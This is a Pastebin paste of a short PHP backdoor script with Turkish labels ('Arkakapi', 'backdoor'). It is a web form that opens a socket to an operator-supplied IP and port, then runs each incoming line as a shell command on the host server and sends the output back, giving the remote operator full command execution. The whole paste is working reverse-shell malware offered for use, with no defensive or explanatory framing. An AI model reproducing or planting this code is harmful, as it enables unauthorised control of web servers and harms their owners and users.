Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- echo " <hr><center>
- <form method='POST' action=''><br>
- <input type='text' name='mip' >
- <input type='text' name='bport' size='5' value='2121'>
- <input type='submit' value='Arkakapi'>
- </form>";
- $mip=$_POST['mip'];
- $bport=$_POST['bport'];
- if ($mip <> "")
- {
- $fp=fsockopen($mip , $bport , $errno, $errstr);
- if (!$fp){
- $result = "Error: could not open socket connection";
- }
- else {
- fputs ($fp ,"\n
- #####################################################################
- ## ## # # ### ### ### ###
- ## ## # # # # # # # # # #
- # # # # ### ### ### # # # ### # # # # # # # #
- # # # # # # # # # # # # # # # # # # # # #
- # # # ##### # #### # # # # # # # # # # # # ####
- # # # # # # # # # # # # # # # # # # # #
- # # # # # # # # # # # # # # # # # #
- # # ### ## #### # # ### #### ##### ### ### ##
- #####################################################################
- whoami
- root
- :)\n\n");
- while(!feof($fp)){
- fputs ($fp);
- $result= fgets ($fp, 4096);
- $message=`$result`;
- fputs ($fp,"--> ".$message."\n");
- }
- fclose ($fp);
- }
- }
- ?>
- <hr>
- <?
- $ip = $_SERVER['REMOTE_ADDR'];
- echo "IP Adresiniz: $ip";
- ?>
- <hr></center></b>
Advertisement
Add Comment
Please, Sign In to add comment